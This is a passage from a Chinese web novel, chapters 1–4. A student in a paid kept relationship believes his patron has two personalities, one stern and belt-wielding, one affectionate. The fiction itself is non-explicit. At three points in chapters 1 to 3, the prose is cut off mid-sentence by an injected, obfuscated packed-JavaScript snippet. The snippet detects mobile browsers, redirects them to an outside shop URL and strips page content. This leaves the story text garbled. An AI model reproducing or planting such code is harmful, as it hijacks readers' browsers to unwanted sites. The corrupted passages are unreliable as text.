《双胞胎兄弟的共享协议》 1. 第 1 章 “江云澈先生,希望您能意识到事情的严重性。” 穿着白大褂的秃顶医生推了推金丝眼镜,将一份盖着绝密红章的文件推到江云澈面前。 “萧总的DID,多重人格,已经发展到了极其罕见的阶段。一三五出现的一号‘暴戾主人格’,和二四六出现的二号‘幼崽次人格’,正在他的潜意识里疯狂厮杀。” 医生叹了口气,“作为他目前唯一的宣泄口,江先生,为了萧总的精神健康,请您务必配合我们的治疗,陪伴并满足不同人格的任何要求,最关键的是——” “绝对、绝对不能让他知道我们已经看穿了他的病。” 江云澈看着病理报告,恍然大悟。 怪不得,怪不得,原来他的金主爸爸,真的是个精分。 他挺直脊背:“放心,只要钱到位,我保证完成任务。” …… “江哥!阿姨要锁洗衣房了!” 呼声瞬间把江云澈从幻想中抽离,面前没有秃顶医生,只有一面裂了角的穿衣镜。 室友张伟穿着起球的秋裤趴在门框边喊,楼下同时传来宿管阿姨带着侬语的咆哮: “小江哇!洗衣机里的衣服记得拿的呀!阿姨要锁门了哇!” “来了——” 江云澈撕下面膜,踩着拖鞋冲下楼。 洗衣房里那台老式滚筒还在嗡嗡转着,他掏出钥匙拧开柜门,从自己专用的那格里面取出一个防水干洗袋。 这格洗衣柜的“独占权”,是他每个月额外塞给王阿姨两包华子换来的,男模的行头不能和别人的衣服混洗,这是职业底线,也是金主的基本要求。 打开干洗袋,一抹暗纹玫红色在白炽灯下泛着金属光泽。 纯手工高定西装。 单件六位数。 江云澈第一次知道价格的时候,盯着标签半天没说出话。 这玩意放他们县城,差不多能买半套房了。 布料丝滑得像水,从指间流过时,江云澈下意识屏住呼吸, 此刻,它被小心叠在袋子里,袖口有一小块淡淡的印渍,这是星期三从酒店回来,地铁过安检的时候被旁边大哥的拿铁溅的。 他用指腹轻轻揉了揉,没掉。 再揉,还是没掉。 江云澈盯着那块污渍,眼前一黑。 “完了。今晚这套西装,还有我江云澈,都要完。” 他说的是事实,一号人格对“瑕疵”的容忍度基本为零,上次领口蹭了点灰,对方直接拿了把裁缝剪搁在他后颈上,冷冰冰地说:“下次就不需要洗了。” 然后咔嚓,咔嚓。 六位数的西装就这么被剪成了“花花公子”,江云澈感觉自己的心在滴血。 但衣服是金主的,他只是负责穿着的人,没有所有权,更没有犯错的资格。 还有上次实习申请写错一个字,后腰到现在偶尔碰到还会神经反射。 那人让他趴在沙发上,皮带隔着裤子抽了十下。 不疼,但很屈辱。 偏偏对方打完还慢条斯理戴上白手套检查伤痕,最后用皮带头挑起他下巴,冷冷问了句: “连这种小事都做不好,你到底有什么用?” 江云澈当时很想问一句:“擦,你是流水线质检员吗?” 但他忍住了,问就是男模的职业素养。 回到寝室,江云澈反锁房门,熟练换装。 白衬衫,扣子必须系到最上面一颗。 有一次最上面那颗没扣,他误信知乎觉得一号人格喜欢那种若隐若现的性感,结果被罚跪了四十分钟,膝盖差点废了。 系扣子的时候,他忍不住想,要是今天周六就好了。 上周六,二号人格拉他去欢乐谷玩全魔都最高最恐怖的过山车。 下来他腿软得站不住,那人直接蹲下笑嘻嘻地揽过他的腰:“腿软了?我背你。” 二号人格背着他走完整个欢乐谷,隔着薄薄的T恤,能感受到对方背部紧实的肌肉和温热的体温,那人还时不时扭头蹭他脸颊,身上是阳光晒过后的洗衣液味,温顺得像只大金毛。 同样是那张脸。 二号会蹭着他笑,拿大金毛似的眼神看他。 一号只会盯他的领口、袖扣、裤线,像在验货。 江云澈想着想着,忽然乐了。 干的活不一样,开的价格倒是一样。 “江云澈。” “你他妈真是天选打工圣体。” ……害,还是先换衣服吧。 黑西裤,两边裤线必须笔直,他下意识伸手摸了摸裤缝。 平整,没褶皱,合格。 最后是那双红底皮鞋,穿完还得锁回鞋盒放干燥剂,比供祖宗还精细。 换完装,江云澈站在全身镜前。宽肩窄腰,冷眉挑眼。 他的五官生得冷,眉骨高,眼尾微微上挑,不笑的时候有种拒人千里的疏离感,这也是他吃男模这碗饭的本钱。 他点开微信。 置顶两个好友,头像一模一样:纯黑底色。唯一区别是尾号:A703、B703。 正常人大概会觉得:这是两个人吧? 但江云澈早就给自己的金主戴上了“精分滤镜”。 点开聊天记录,精分的证据铺天盖地—— A703的最后一条停在上周三:【领带系好,我不喜欢重复第二遍】命令式,语气生,冷得像自动回复。 B703的最后一条就在昨晚:【早点睡,(?????)?】关心他,有表情包,带波浪号,像个黏人的大金毛。 再翻开他们的朋友圈。 A703全是财经新闻和商业峰会。 B703全是猫猫狗狗和游乐园打卡,偶尔是他打球的瞬间。 连说话习惯和社交圈都完全割裂。 最离谱的一次,是A703刚训完他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552811|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 半小时后,B703突然发来一句: 【小江,你是不是心情不好?】 江云澈当时盯着手机后背发凉。 连情绪都能共享,这病绝对已经到晚期了 至此, 逻辑闭环,严丝合缝。 江云澈对自己的推理能力非常满意。毕竟,他从来没见过金主什么时候同时以两种状态出现过,而且他偷偷观察过一号人格,对方压力确实很大,管理一个大集团相当不容易。 正想着,屏幕亮了。 A703。 【今晚八点,老地方。领带别歪,我不想发第二遍。】 江云澈低头看时间:19:25。 完了。来不及了。 三十五分钟,从大学城到城北别墅,一秒都不能耽搁。 他迅速系好领带,对着镜子最后检查一遍。 扣子整齐,裤线笔直,全身无褶。 除了袖口那块该死的咖啡渍。 可保底月入十五万,他再也找不到这么高薪的工作了。 忍忍吧。 魔都大平层还在前面等着他。 江云澈叹了口气。 生产队的驴,准时上工了。 . 走到校门口时,风顺着领口灌进身体,他下意识挺直腰杆。 一号喜欢充满疏离感又带着几分倔强的那种,这是岗位要求,金主爸爸的审美不能违背。 他要像那求偶的花孔雀,大步向前,永不退缩。 地铁上,他靠着车门闭眼,对面玻璃窗倒映出他的影子。 西装笔挺,领带工整。 好几个穿校服的女生偷偷看了他几眼。 谁能想到,半小时前他还蹲在宿舍洗衣房里搓咖啡渍。 他在脑海中过了一遍流程。 进门,擦鞋,站定,低头,至于那块咖啡渍,万一被发现……他摸了摸后腰。 就当免费的形体课了。 出了地铁站,面前是安静的林荫道,尽头是翡冷翠公馆。 每次来这地方,江云澈都觉得有点割裂。 像从油菜地一脚跨进了耶稣的后花园。 他在男寝走廊闻惯了泡面、汗味和不知道谁晾了半个月没干的袜子味,所以每次进翡冷翠,都觉得这里的空气都是金钱的味道。 他整了整领带,深吸一口气。 手刚要按门铃,手机忽然震了一下。 江云澈低头看去,不是A703。是B703。 【小江,周末没课!!想去哪玩?(′?ω?`)】 他盯着那个emoji,愣了一秒。 看到这条消息,江云澈紧绷了一路的神经终于得到片刻喘息。 还好,还有二号,二号在,意味着这周末不仅能回点血,还能好好放松放松。 今晚的刑场,只要熬过去就行。 他深吸一口气,按下门铃。 2. 第 2 章 推开门,别墅里面只有微弱的冷光。 淡淡的月光从上空打下,照到波澜微荡的泳池,再通过窗户反射进房间。 江云澈的目光将房间扫了一圈,嗅到空气里一股空气清洗剂的味道,深吸一口气。 一号人格今天心情不好,他抽烟了,要小心。 “站在门口做什么?” 只迟疑了一秒,房间里的声音已经带上了细微的不耐烦。 “您稍等,我马上。”江云澈立即回应。 他从手提袋里拿出干净的黑色手帕,蹲下身,将鞋底细细擦了一遍,确保上面不沾一点灰。 金主定下的规矩,鞋可以磨坏,但不能带灰,因为“脏东西不该进重要场合”。 把红底擦得锃亮再穿上,江云澈在门口的全身镜前又整理了一遍着装,深呼吸,慢慢站定,提着手提袋往里走去。 出了玄关,头顶是一片水晶吊灯,江云澈走到开关前,手指悬了一瞬,只按下最暗那一档。 转身,看见客厅。 阳台是全敞开式的,风不断从外面灌进来,从江云澈的视角看过去,只能看见一道反光的人影。 萧墨宸光着脚躺在沙发上,一件黑色真丝睡衣,头发刚洗过,错落有致地搭着,他就这么看向窗外,月光底下,喉结的弧度格外分明。 江云澈站在原地没动,脑子里快速运转。 上一次一号人格心情不好,他什么都没做,挨了两下,事后他复盘过,觉得问题出在“没有主动提供情绪价值”。于是这周他做了功课,在知乎翻了十七个伺候金主的帖子,加了三个付费群,记了两页笔记。 好了,万事俱备,他深吸一口气,走上前去。 “萧总。” 萧墨宸轻微回头瞥了一眼。 “站这么远做什么?我又不吃人。” 江云澈默默走到沙发旁,从手提袋侧面拉出一个巴掌大的黑色皮箱,没有logo,没有锁孔。 他站在沙发前,将皮箱打开,拿出一个皮质眼罩替自己带上,里面还有一条小皮鞭,他故意把声音压得很低,尽量模仿帖子里那种低沉磁性的调子: “萧总,您今天看起来很累。”江云澈顿了一下,把准备好的台词背出来:“您可以放松一下。” 空气安静了大概三秒。 一只手突然伸过来,扯过他的领带,把他拉低。 男人的视线移过来,离得很近,江云澈带着眼罩,但他能感觉到对方的鼻息,他们之间,距离不超过二十厘米。 紧接着,男人伸出另一只手,动作不容拒绝,指腹重重擦过江云澈的脸,想把那眼罩揭开,但动作到一半,停住了。 江云澈整个人僵住,不敢说话,不敢用力呼吸,努力以平和的姿态去面对那双刘海下盯着自己的、阴郁的眼睛。 “跟谁学的?”萧墨宸的声音很哑,他很少抽烟,每次抽完都是这样。 “……我自己想的。”江云澈声音是抖的。 “以前对别人也这样?”萧墨宸又问。 江云澈立即摇头,“只有您一个。” 萧墨宸顿了两秒。 “跪下。” 江云澈膝盖触地,没有一秒犹豫。 他在心里默念:工作开始了,挣钱! 萧墨宸从沙发上起身的同时,全屋的灯亮了。 刺眼的白光倾泻下来,江云澈下意识眯了一下眼,眼罩歪到一边挂在耳朵上,他没敢去扶。 萧墨宸走到茶几前,拿起一条皮带,油皮面,金属扣朝上,看起来像一把名贵的“武士刀”。 他走回来,站在江云澈面前,皮带在手里挽了两圈。 “FTS项目,竞选失败了。” 萧墨宸语气很淡,但他用的不是疑问句,陈述句。 江云澈默默攥紧手心。FTS,之前萧墨宸提过一嘴,学校为数不多的好项目,能去荷兰读硕士,但他连学费都交不起,更何况现在被包养着,抛下金主出去两年,他会允许?想都别想。 “认真准备了吗?”萧墨宸问。 “没有。” 但真正要准备的准备好了。 空气骤然一紧。 皮带落下,江云澈咬紧牙关,身体本能地绷直。 “原因。”萧墨宸又问。 “……两年太久了,我想陪在萧总身边。”江云澈解释。 陪在身边是假,图你的包养费是真。 皮带又举起一次,这次空气里的压迫感比刚才更重,江云澈的指尖掐进了掌心。 “FTS对标的是荷兰数一数二的大学,以你们学校目前的位次,硕士你打算考Q北?” Q北。江云澈吃了一惊。 他高考发挥得再好也只能上省大,Q北他做梦都不敢想,难道萧墨宸想要他考这个学校的研究生?这年头,做男模也要这么高门槛吗? 第三次。萧墨宸的手腕动作比前两次都利落,带起一阵风,江云澈没忍住,从喉结处滑出一声极轻的闷响。 没事,忍着,打一下多一千块。 他开始在心里算账,根据以往的经验,一号人格每次玩皮带游戏都会加钱,如果能打到十下,今晚的包养费就是一万五,打到十二下就是一万七。  e on,用力。 “你水平不够。”萧墨宸冷冰冰地说。 江云澈很想点头,但不敢,钱还没赚够,万一金主觉得他学历太低又没上进心,把他炒了怎么办? “错了吗?” “错了。”江云澈光速认错。 啪——第四下,比之前都重,江云澈的肩膀抖了一下,牙齿咬得太阳穴发酸。 “哪错了?” 江云澈沉默两秒,“……不该瞒着您。” 第五次,也是最重的一次。江云澈整个人往前晃了一下,膝盖在地板上磨出细微的声响,喉咙里那一声没能压住。 “还有呢?” 江云澈下意识吞咽,把声音压细了一点,带上了一点哭腔,说:“我错了,没有理由,您惩罚吧。” 萧墨宸动作停了下来,目光打量着这个带着眼罩跪在自己面前的人,视线缓缓下移,落在江云澈玫红色西装胸口那块淡淡的印渍上。 眼神暗了下去。 江云澈的心瞬间提到了嗓子眼。 完了。 但萧墨宸只是看了一眼,什么都没说。 . 意料之外的,游戏只进行了五次。 江云澈仍旧跪在那个地方,他能听到萧墨宸的脚步声走远了,但他身体挺直,不敢动。 还要跪多久? 照之前的经验,萧墨宸这么生气,起码半小时打底。 体力够的,江云澈已经锻炼出来了。 嗯,为了钱,坚持下去。 突然,身后传来脚步声,然后是一个玻璃瓶被拧开的声音。 “脱了。” 空气中冷冰冰传来一声,江云澈懵了。 “难道还要我帮你?”萧墨宸戴上手套,语气多了些不耐烦。 江云澈这才明白,一号人格这是要给自己上药,他立即解开皮带,把裤子轻轻下拉,但同时他也疑惑,今天这么快? “趴着。” 江云澈朝前勾着腰,双手支撑到沙发上。 但萧墨宸还是觉得不方便,一把抓过他的手,让他整个人趴到了自己怀里。 江云澈的身体瞬间僵住。 一只手按上了他的腰,指腹沾着凉凉的药膏,避开红肿的地方,慢慢晕开。 力度不轻不重,手法很熟练。 江云澈不敢动,连呼吸都压到最浅,因为他的脑子里正在疯狂思考金主的下一步动作。 上完药,之后呢?还要继续皮带游戏吗?还是说,一些新玩法。 他回忆起自己那些笔记。 按照《新手入坑指南》,下一步应该是捏下巴或者揪头发,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552812|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他提前拿了药膏,一号人格到底想干什么? 萧墨宸力道突然重了些,他没忍住,轻哼了一声。 身后的手顿了一瞬。 然后力道变了,轻了一点。 药上完,萧墨宸把江云澈放到沙发的一边。 江云澈重新跪在了沙发前,这次离他特别近。 等他反应过来的时候,眼罩已经不在眼睛上了,大概是刚才哪个动作蹭掉的 “萧总。”游戏不玩了吗? 萧墨宸看了他的眼睛一眼,随后撇到一边去,拿下巴对着他。 “FTS机会没了,好好准备考研。” “Q北你够不上,就留在魔都。” 江云澈十分意外。 “嗯,好!”魔都对研究生有落户政策,这也是他本来的打算。 萧墨宸目光扫过茶几角落压着的一份试卷,又看回江云澈。 “把那套卷子做了,然后下周一再来。” 萧墨宸顿了一下。 “把那个箱子带走。” “还有,”他站起来,低头看了眼江云澈胸口那块咖啡渍,语气平淡得像在说天气,“西装脱了,周一会让助理重新送一件过去。” 说完便抛下江云澈一个人,去楼上了。 江云澈跪在原地,又等了三十秒,确认人走了,才慢慢松了口气。 他低头看了眼胸口那块印渍,又想想刚才全程被无视的恐惧,心情很复杂。 没剪,没训斥,连一句“下次注意”都没有。 轻拿轻放,比皮带还让人发毛。 他回头看了眼沙发,自己带来的那个皮箱还敞着,小皮鞭歪歪斜斜地躺在绒布上,像一场没演完的闹剧。 江云澈伸手把箱子合上,塞回手提袋里。 站起来的时候腿有点麻,他扶着茶几稳了一下,目光扫到旁边萧墨宸那条皮带,还放在原处。 他没碰。 走到茶几前,把那份试卷抽出来,数学、综合、英语三张,比考研真题难。 江云澈在沙发边沿坐下,咬着笔杆开始做,做到一半,手机震了一下。 余光扫到屏幕,纯黑底色,无昵称的B703发来一条消息。 他立刻点开。 【小江,周末没课!!想去哪玩?(′?ω?`)】 江云澈盯着那个感叹号和emoji,眼睛亮了一下。 二号人格上线真快。 他又看了眼楼上,小声嘀咕:“切换得这么快,也不怕精神分裂得更严重。” 他把消息又看了一遍,嘴角不自觉地翘了翘,飞快锁屏,手机翻面扣在沙发上,继续埋头做题。 三张卷子做完,叠整齐放回茶几上。 出了别墅门,夜风一吹,一辆保时捷从他面前开过。 他看了一眼车牌,不认识。但他记得B703朋友圈发过一张在加油站的自拍,背景里有一辆同款颜色的车。 江云澈盯着那辆车看了两秒,突然,包养费到账的声音响起,江云澈低头看了一眼——五千,最低档。 他后知后觉反应过来,今天萧墨宸应该很不满意,于是打开手机,在搜索栏里输入: 被金主否定道具之后怎么办? 金主不满意怎么办? . 江云澈走后不久,楼上传来轻微的脚步声。 萧墨宸下楼了。 他换了件灰色长袖,头发随意拨到脑后,走到茶几前,拿起那三张叠好的试卷。 第一张,三个叉。第二张,翻得更快。第三张,翻译语法错,作文跑题。 红笔啪得一声拍在茶几上。 他把卷子扔进垃圾桶,靠回沙发,盯着天花板。 今天只打了五下。 太仁慈了。 他打开手机手机日历,在今天添加备注: 下次错一道,一皮带。 不能心软。 没有上限。 3. 第 3 章 回宿舍睡一觉后,周六很快到来。 江云澈起的很早,挑了件半边绒毛的白色卫衣,搭条白色休闲裤,背上书包,最后一步,在拉链上挂好两个公仔。 这是二号特意定制的,他说大的那个代表他,小的那个代表江云澈自己。 出门时把公仔往书包侧面一挪,确保走起来能晃。 从宿舍楼到校门口大约十分钟,离门口还有二百米的时候,他就看见那个人了。 不是眼神好,是那个人站在那,旁边随便停了辆共享单车,就像从漫画里掉出来的一样。 十月底的阳光已经薄了,萧墨宸穿了一件黑色休闲外套,半拉拉链,里面白T的领口微微翻出来,一只手插兜,正往这边看。 逆着光,看不太清表情,但宽肩窄腰的轮廓在那摆着,跟周围来来往往的学生完全不是一个物种。 搞钱。搞钱。搞钱。 江云澈默念三遍,迅速进入工作状态,放慢脚步,走到他前面一点的位置,书包侧面的公仔跟着一颠一颠。 “小江!” 对方看见他了,抬手招了招。 江云澈跑了两步,调整好表情。 “辰哥。” 不远不近,刚好卡在那个让金主舒服的距离上。 对方笑了一下,伸手揉了揉他的头发。 手掌很大,指腹蹭过他耳尖的时候带了点凉意。 江云澈没躲,甚至连睫毛都没抖一下。 摸头而已。 但耳朵还是有点热……可能是今天风太大。 “今天去哪?”对方声音从头顶传下来,带着点懒。 “雅安路吧,有条小吃街,还有家新开的鬼屋,xhs上风评不错。” “好,都听你的。” 对方掏出手机打车。等车的间隙,肩膀上多了一点重量。 靠过来了。 又靠过来了。 不重,就是靠着,像猫找到了一个舒服的位置。 二号人格每次都这样,在外面走着走着就往他身上黏,跟一号那个离他三米远都觉得脏的做派完全是两个人。 江云澈没动。 书包上的公仔还在轻轻晃。 他偷偷看二号人格的脸,对方正在不自觉地笑。 . 小吃街人很多,油炸和糖浆的甜味混在一起,吵得像过年。 江云澈一路挑着二号人格可能会喜欢的东西买。 花小钱办大事,这点钱对于包养费来说不过是毛毛雨。 “辰哥,这个藕粉桂花糖糕挺火,华妃同款。” “甜的?”对方低头看他。 “嗯。” “那我喜欢。” 江云澈默默记下一笔:甜食,可。 又往前走了几步,身边的人忽然停住。 江云澈顺着他的视线看过去。 锈迹斑斑的铁门半掩着,昏黄灯牌上写着四个字: 野百合病院。 门口血红色展板上贴着一句话: 【xhs推荐TOP1】 底下评论清一色: 【别来。】 江云澈:“……” 他搜攻略的时候觉得TOP1很靠谱。 现在站在门口,只觉得那个“别来”也很靠谱。 “想玩这个?” 二号人格已经盯着那扇铁门看了半天,明显来了兴趣。 “嗯。” 他说完,还低头冲江云澈笑了一下。 “小江,一会儿躲我后面。” 江云澈:“……” 行,挣钱,忍了。 为了大平层。 . 买票,排队,进门。 铁门在身后“砰”地关上时,外面的声音一下全没了。 刚才小吃街那股热闹劲像被硬生生隔开,耳边只剩下走廊里忽明忽暗的电流声。 空气里全是消毒水味,潮得人鼻子发闷。 江云澈莫名觉得后颈有点发凉。 这家鬼屋是隔断式进人的。 前后都没人,整条走廊安静得吓人,连脚步声都格外清楚。 “小江。” 二号人格忽然开口。 “你不会怕鬼吧?” 声音冷不丁在耳边响起来,江云澈肩膀当场抖了一下。 “……没有。” 对方哦了一声,也不知道信没信,反正嘴角一直是弯的。 再往前走,灯光一下暗了很多。 走廊尽头有扇半开的门,门缝里透着一点幽幽的蓝光。 江云澈盯着那扇门,脚步骤然慢了。 然后门缝里有什么东西动了一下。 不是风,是一道影子。 他还没来得及看清,旁边的二号人格已经拉住了他的手腕,往那边走。 “走这边。” 江云澈被拽着走了两步,才发现自己手指不知道什么时候攥住了对方的衣角,没松开。 接下来的一段路,江云澈基本是半闭着眼睛走的。他知道有NPC,知道是假的,可是当他余光瞥见走廊尽头站着一个人、一动不动、脸朝向他的时候,魂还是飞了。 腿有点软,不是装的。 然后手被握住了,十指扣过来的,很紧,掌心是温的。 “抓紧。” 二号人格的声音贴着耳边落下来。 “腿软了我背你。” 江云澈脑子一乱,下意识脱口而出: “不用,您——”声音猛地卡住。 黑暗里,他后背瞬间起了一层冷汗。 完了。 他最近在一号人格面前待太久了,把称呼搞混了。 二号人格明显愣了一下。 “您?” 江云澈头皮瞬间炸开,刚想开口糊弄过去,走廊尽头忽然传来“哐”的一声巨响。 像什么铁制东西狠狠砸到了地上。 紧接着,铁链拖在地上的声音一下下响着。 刺啦。 刺啦。 像有什么东西正慢慢往这边走。 江云澈:“……” 他反手就把二号人格的手攥紧了。 鬼屋果然不能乱来。 ……靠,高端陪玩行业居然还有工伤。 下一个房间是走廊型的,两侧都是铁栅栏,像精神病院的隔离区。灯光是红色的,把所有东西都染上一层血色。 江云澈已经放弃了看路的打算,整个人缩在二号人格半步的位置,对方的背挡住了大半个视野,他只看得到肩膀上的黑色外套和一点白T的边。 “啊——” 前面不知道哪个房间传出一声尖叫,声音特别尖,带着哭腔。 江云澈脚步一顿,脑袋直接撞上了前面人的后背。 很宽。 “……抱歉。” 他低声说了句,想退开,但腰上多了一只手,不重,把他定在原地。 “别动。” 二号人格的声音从前方传过来,低沉,稳得不像话。 “前面有东西,等它过去。” 江云澈僵住了。 他不知道前面有什么,但他能感觉到握着他的那只手微微收紧了一下,把他完完全全放进手心里。 红灯闪了一下,铁栅栏后面有一张脸。很近。 隔着栏杆,就在他右边,一张涂满白粉的脸,眼眶是黑的,嘴角裂到耳根,正盯着他。 江云澈没叫。 不是因为他胆子大,是因为嗓子直接卡住了,气都喘不上来。 他的身体比大脑先动了,整个人转了个方向,脸埋进了二号人格的后背,双手抓住了外套两边的布料。 握着的手被松开了,因为两只手都用来抓衣服了。 他听到头顶传来一声很轻的笑声。 江云澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552813|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭了闭眼。 完了,金主估计觉得他胆子小。 不过问题不大。 二号人格明显吃“依赖型”这一套。 然后腰上的手收紧了,另一只手抬起来,按住了他的后脑勺,往怀里按了按。 力道强得不容拒绝。 “好了,走了。”二号人格声音里带着笑意。 江云澈没动,脸还埋在后背上,能闻到洗衣液的味道,很淡,混着一点点体温。 他被拽着走了几步,才慢慢把脸抬起来,耳朵烫得不像话。 江云澈认真思考了两秒。 结论:鬼屋空调太闷。 “……那个东西还在吗?” “不在了。” “哦。” 他没说自己刚才看到了什么,二号人格也没问。 又走了一个房间,走廊尽头终于出现了出口的标志,一扇半开的门,外面透进来白亮的光。 江云澈几乎是跑过去的。 推开铁门的那一刻,下午的阳光劈头盖脸砸下来。 小吃街的声音重新涌进耳朵,炸鸡的油烟味、柠檬水的甜味,还有远处吵吵闹闹的人声,像是突然从另一个世界被拽了回来。 江云澈站在门口缓了两秒,才发现自己手心全是汗。 “小江。” 二号人格站在旁边,声音里还带着笑。 “下次还来吗?” 江云澈想起刚才那张贴在栏杆上的白脸,果断摇头: “不来。” 二号人格偏头看他。 “可我觉得你刚才躲我后面的样子挺可爱的。” 江云澈耳朵一热,立刻偏开脸。 ……行。 今天的包养费应该稳了。 . 傍晚的时候,二号人格把他送回了学校。 包养费准时到账。 江云澈靠在座椅上闭眼休息,陪精力旺盛的二号人格玩一天也不比一号人格轻松,要时刻照顾对方的情绪,虽然更多的是二号照顾他,但江云澈心里总压着包养那件事,放不开。 江云澈忽然想。 要不是包养关系,像二号人格这种条件,放学校里高低得是校草级别。 可惜了。 精神状态有点不太稳定。 江云澈想到和金主签包养协议的那一天。 他本来只是去应聘酒吧卖酒的,结果被对方误当成卖身的,直接递来支票和协议。 他拒绝了两次,第三次,对方带了律师。 白纸黑字摆在面前的时候,江云澈突然意识到: 魔都买房不是一代人的事,包养是离大平层最近的路。 “嗯~想什么呢,小江,马上就到学校啦,快履行男朋友义务,给我抱抱~” 二号人格忽然从旁边靠过来,下巴压在他肩膀上,顺势蹭了两下。 温热的呼吸落在颈侧,江云澈身体忽然僵了一瞬。 这种被人从身后抱住的感觉,熟悉得过分。 江云澈几乎是本能地放松了肩膀。 像是很多年前,也有人这样把他圈进怀里,替他挡住过什么。 那种熟悉感来得毫无征兆。 江云澈后背莫名麻了一下。 可等他仔细去想,脑子里却什么都没有。 空的。 …… 鬼屋待太久了吧。 他刚准备闭眼缓一会儿,手机忽然震了一下。 江云澈低头。 A703:【明晚八点。】 A703:【上次那几道题,回来继续。】 “……” 江云澈缓缓抬头。 二号人格还抱着他,下巴懒洋洋压在他肩上,丝毫没有松手的意思。 车厢里明明开着暖风,他后背却莫名窜上一股凉意。 手机屏幕却迟迟没灭。 像在等他回复。 4. 第 4 章 “这可是陆墨辰的讲座,省队退役的!听说他在别的学校开讲座是要请人上台去做示范,好希望那个幸运儿是我。” “陆帅哥,啊啊啊啊,光是在赛场上看他那张脸我感觉呼吸就要停了好吗?姐妹一会儿拦住我,我怕我鼻血狂喷。” 相对于旁边女生的兴奋与激动,江云澈一整个睡意朦胧的状态。 今天是星期二毛绒绒日,但他永远无法原谅昨天那个万恶的星期一。 鬼知道他到底在一号人格那经历了什么,从进门,拖鞋,被三张试卷砸脸,谁能想到,那个变态的新游戏——做考研题,错一道来一皮带,精准投送,绝不手软。 江云澈感觉自己都要被打烂了,昨晚一晚上没睡着,到现在趴在桌子上,屁股都不敢完全贴在座椅上。 连躺平睡觉都是一种奢侈,江云澈欲哭无泪,偏偏导员还要在这时候火上浇油。 “江云澈,你大学四年干什么去了,校园文化分才0.3分,今天的讲座你再不去,就别想拿毕业证了。” 没办法,他不得不顶着火辣辣的屁股来听这个讲座。至于那些女孩子的激动,则彻底与他无缘了,他就是个来签到打瞌睡混学分的。 于是,讲座开始了,江云澈一头栽下去睡了。 . “后排那个同学。” “我吗?” 江云澈被震耳欲聋的尖叫声吵醒。 “你旁边的,那位打瞌睡的男同学。” “是我讲得很无聊吗?” 江云澈猛地睁开眼睛,完了,打瞌睡被抓包了! 他往讲台上看去,正想开口解释自己身体不舒服,抬眼间,却让他惊掉下巴。 台上站在那里的,是一身剪裁得体的高定黑西装。 再往上看那张脸—— 萧墨宸!!! 江云澈倒吸一口凉气,残存的睡意瞬间飞到九霄云外。昨天晚上刚拿皮带抽完他,今天怎么追到学校来了?! 台上那人看着他呆滞的样子,唇角勾起一个温和的弧度:“可不可以上来帮我一个忙啊?上台来给同学们做个示范。” 江云澈攥紧了手心,手心全是冷汗。 包养协议已经渗透到校园生活了吗? 怎么办,要是当众拒绝,万一金主爸爸觉得丢面子生气了怎么办?会不会扣他工资。 江云澈咬咬牙,强行压下屁股的酸爽,瞬间切换回“优秀员工”状态,朝讲台上走去。 . 指尖从肩颈一路按压至太阳穴,带起一阵战栗。 江云澈看着那张熟悉的脸,心想:嚓,按肩颈,昨天皮带抽的就是这个位置,这是当着全校师生的面欣赏作案痕迹? 小说里都没这么变态。 偏偏对方还特别仔细,指腹沿着斜方肌缓缓碾过去,像在确认什么。 江云澈咬着后槽牙保持微笑,满意了吗?够您复盘了吧? “接下来给大家演示一下下肢拉伸。” 对方双手握住他的脚踝,向上向下伸展。 江云澈全身发力点都在屁股上,好痛,忍不了了。 为了钱,忍下去。 哎,等等,画风好像有点不太对。 作为一名顶级集团CEO,萧墨宸就算来他们学校也是商业大拿分享财富密码,怎么可能是跟他进城打工的二姨一样,给人按摩? 他偷偷撇了一眼ppt。 陆墨辰,J大运动康复学博士研究生。 !!! 江云澈反应过来了,今天是毛绒绒日,所以现在这不是一号人格,是二号人格。 不愧是你萧墨宸,干一行是一行,还整个马甲“陆墨辰”,连名都不带重样的,精分界的新高度,牛*。 好了,心态切换成功,正式进入工作模式。 对方又把手法放轻了,指腹贴着他的腰侧慢慢往下滑,动作称得上温柔。 江云澈瞬间懂了,二号人格这是在潜意识里安抚昨天被一号人格玩坏的商品,算是工伤补偿。 挺人性化的,不枉自己每次在毛绒绒日那么用心地哄他。 “江云澈同学,是我的手法还不够到位吗?提高注意力,不要在给同学们示范的时候想别的事情哦~” 陆墨辰为了拉回他的注意力还特别在他屁股上轻轻拍了一下。 瞬间,满身酸爽拔地而起。 江云澈嘴角疯狂抽搐。 ……工伤补偿个屁,精分的恶趣味本色才是真。 . 讲座结束后,江云澈带着二号人格在学校漫步。 十月中旬,学校主干道两侧的银杏开始泛黄,风一吹落几片在地上,有女生举着手机在拍。 江云澈走在前面,余光不断往后瞟,步子越走越快。 他可太清楚这所学校的情报传播速度了,再晚点就要上校园墙了。 